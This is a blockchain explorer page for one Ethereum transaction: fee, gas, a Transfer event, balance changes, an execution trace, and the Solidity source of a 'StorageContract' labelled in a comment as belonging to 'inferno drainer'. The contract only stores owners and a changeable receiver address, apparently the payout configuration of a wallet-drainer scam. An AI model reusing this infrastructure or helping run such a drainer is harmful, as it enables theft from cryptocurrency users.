Transaction Hash:
Block:
22848996 at Jul-04-2025 10:59:23 PM +UTC
Transaction Fee:
0.000334454984710704 ETH
$0.84
Gas Used:
148,632 Gas / 2.250221922 Gwei
Emitted Events:
59 |
0x00004da25f9e20b2b44484ffb554b67df1260000.0xddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef( 0xddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef, 0x0000000000000000000000000000000000000000000000000000000000000000, 0x00000000000000000000000000004da25f9e20b2b44484ffb554b67df1260000, 00000000000000000000000000000000000000000000021e19e0c9bab2400000 )
|
Account State Difference:
Address | Before | After | State Difference | ||
---|---|---|---|---|---|
0x00004dA2...dF1260000 | 0.401698475332905249 Eth | 0.402112892527161272 Eth | 0.000414417194256023 | ||
0x4838B106...B0BAD5f97
Miner
| (Titan Builder) | 15.082716578316119205 Eth | 15.083013842316119205 Eth | 0.000297264 | |
0xbA6d6f19...08850b578 |
0.001870376900443503 Eth
Nonce: 4
|
0.001121504721476776 Eth
Nonce: 6
| 0.000748872178966727 |
Execution Trace
0xba6d6f19c9f0fe6ff10e7c8fd244aea08850b578.e9ae5c53( )
ETH 0.000414417194256023
0x00004da25f9e20b2b44484ffb554b67df1260000.8bf4eff3( )
-
StorageContract.CALL( )
0x00004da25f9e20b2b44484ffb554b67df1260000.df60a6ed( )
-
0x00004da25f9e20b2b44484ffb554b67df1260000.STATICCALL( )
-
-
// @mr_inferno_drainer / inferno drainer pragma solidity ^0.8.6; contract StorageContract { address public nativeCryptoReceiver; address[] public owners; constructor(address defaultNativeCryptoReceiver, address firstOwner) { nativeCryptoReceiver = defaultNativeCryptoReceiver; owners.push(firstOwner); } modifier onlyOwner() { bool isOwner = false; for (uint256 i = 0; i < owners.length; i++) { if (msg.sender == owners[i]) { isOwner = true; break; } } require(isOwner, "Caller is not an owner"); _; } function addOwner(address newOwner) public onlyOwner { owners.push(newOwner); } function getOwners() public view returns (address[] memory) { return owners; } function removeOwner(address ownerToRemove) public onlyOwner { uint256 index = type(uint256).max; for (uint256 i = 0; i < owners.length; i++) { if (owners[i] == ownerToRemove) { index = i; break; } } require(index != type(uint256).max, "Owner not found"); require(owners.length > 1, "Cannot remove the last owner"); owners[index] = owners[owners.length - 1]; owners.pop(); } function changeNativeCryptoReceiver(address newNativeCryptoReceiver) public onlyOwner { nativeCryptoReceiver = newNativeCryptoReceiver; } }